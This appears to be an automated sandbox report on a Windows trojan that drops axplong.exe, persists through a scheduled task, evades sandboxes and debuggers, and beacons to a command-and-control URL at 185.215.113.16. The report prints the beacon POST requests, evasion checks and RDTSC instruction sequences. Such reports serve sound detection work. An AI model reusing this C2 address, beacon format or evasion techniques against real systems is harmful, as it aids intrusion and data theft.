Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05

Source: Joe Sandbox View

IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_0079BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

4_2_0079BD60

Source: global traffic

DNS traffic detected: DNS query: time.windows.com

Source: unknown

HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: axplong.exe, 00000004.00000002.2605243731.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php3
Source: axplong.exe, 00000004.00000002.2605243731.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php32
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php8
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php:
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpD
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpX
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phph
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpi
Source: axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpp

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_007D3068	4_2_007D3068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_0079E440	4_2_0079E440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00794CF0	4_2_00794CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_007C7D83	4_2_007C7D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_007D765B	4_2_007D765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00794AF0	4_2_00794AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_007D777B	4_2_007D777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_007D8720	4_2_007D8720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_007D6F09	4_2_007D6F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_007D2BD0	4_2_007D2BD0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9971315139645777
Source: file.exe	Static PE information: Section: fhovjjjc ZLIB complexity 0.994316089837997
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9971315139645777
Source: axplong.exe.0.dr	Static PE information: Section: fhovjjjc ZLIB complexity 0.994316089837997

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/3@2/1

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1942016 > 1048576

Source: file.exe

Static PE information: Raw size of fhovjjjc is bigger than: 0x100000 < 0x1a8600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.3c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fhovjjjc:EW;tlwinqqe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fhovjjjc:EW;tlwinqqe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.790000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fhovjjjc:EW;tlwinqqe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fhovjjjc:EW;tlwinqqe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 4.2.axplong.exe.790000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fhovjjjc:EW;tlwinqqe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fhovjjjc:EW;tlwinqqe:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1e5e3c should be: 0x1de85d
Source: file.exe	Static PE information: real checksum: 0x1e5e3c should be: 0x1de85d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fhovjjjc
Source: file.exe	Static PE information: section name: tlwinqqe
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: fhovjjjc
Source: axplong.exe.0.dr	Static PE information: section name: tlwinqqe
Source: axplong.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_007AD84C push ecx; ret

4_2_007AD85F

Source: file.exe	Static PE information: section name: entropy: 7.976264378298446
Source: file.exe	Static PE information: section name: fhovjjjc entropy: 7.95414237718118
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.976264378298446
Source: axplong.exe.0.dr	Static PE information: section name: fhovjjjc entropy: 7.95414237718118

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42EA59 second address: 42EA63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F865CD192D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9F6B second address: 5A9F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9F71 second address: 5A9F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9F75 second address: 5A9F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B375F second address: 5B376E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F865CD192DEh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B376E second address: 5B377A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F865D1C554Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B377A second address: 5B3783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3953 second address: 5B3967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C5550h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3967 second address: 5B396B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B396B second address: 5B3980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865D1C554Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6CE7 second address: 5B6CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6CED second address: 5B6CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6D66 second address: 5B6D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6D6A second address: 5B6DDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5554h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F865D1C5548h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 jmp 00007F865D1C5558h 0x0000002a mov dword ptr [ebp+122D2EEEh], eax 0x00000030 push 00000000h 0x00000032 jo 00007F865D1C554Ch 0x00000038 mov esi, dword ptr [ebp+122D2AC0h] 0x0000003e mov ecx, 6F49D989h 0x00000043 push 0526714Bh 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b push ebx 0x0000004c pop ebx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6DDE second address: 5B6DED instructions: 0x00000000 rdtsc 0x00000002 jl 00007F865CD192D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6DED second address: 5B6E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xor dword ptr [esp], 052671CBh 0x0000000d movzx edx, dx 0x00000010 push 00000003h 0x00000012 sub dword ptr [ebp+122D1A9Eh], esi 0x00000018 mov esi, dword ptr [ebp+122D2C4Ch] 0x0000001e push 00000000h 0x00000020 mov cx, A7C3h 0x00000024 push 00000003h 0x00000026 jnc 00007F865D1C5556h 0x0000002c call 00007F865D1C5549h 0x00000031 pushad 0x00000032 jmp 00007F865D1C554Dh 0x00000037 jng 00007F865D1C554Ch 0x0000003d js 00007F865D1C5546h 0x00000043 popad 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
